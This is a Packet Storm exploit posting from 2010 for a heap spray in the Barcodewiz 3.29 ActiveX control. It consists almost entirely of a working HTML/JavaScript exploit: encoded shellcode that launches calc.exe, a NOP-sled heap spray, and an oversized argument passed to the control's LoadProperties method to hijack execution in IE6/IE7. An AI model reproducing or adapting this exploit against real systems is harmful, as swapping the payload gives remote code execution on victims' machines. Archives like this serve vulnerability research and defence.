Barcodewiz 3.29 Barcode Active-X Control Heap Spray

2010-08-03T00:00:00
ID PACKETSTORM:92306
Type packetstorm
Reporter Dr_IDE
Modified 2010-08-03T00:00:00

Description

                                        
                                            `<!--  
Title: Barcodewiz 3.29 ActiveX Heap Spray Exploit  
Coded By: Dr_IDE  
Found By: loneferret  
Tested: Windows XP SP3 on IE6 + IE7  
Date: July, 30 2010  
-->  
<html>  
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>  
<script language='javascript'>  
  
// Payload is win32_exec - calc.exe   
  
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+   
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+   
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+   
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+   
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+   
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+   
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+   
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');   
  
nops=unescape('%u9090%u9090');   
headersize = 69; //size adjusted for IE6/IE7 "universality"  
slackspace= headersize + shellcode.length;  
while(nops.length<slackspace) nops+=nops;  
fillblock=nops.substring(0,slackspace);  
block=nops.substring(0,nops.length-slackspace);  
while(block.length+slackspace<0x40000) block=block+block+fillblock;  
memory=new Array();  
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;   
ret='';  
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");   
  
target.LoadProperties(ret);  
</script>  
</html>  
  
`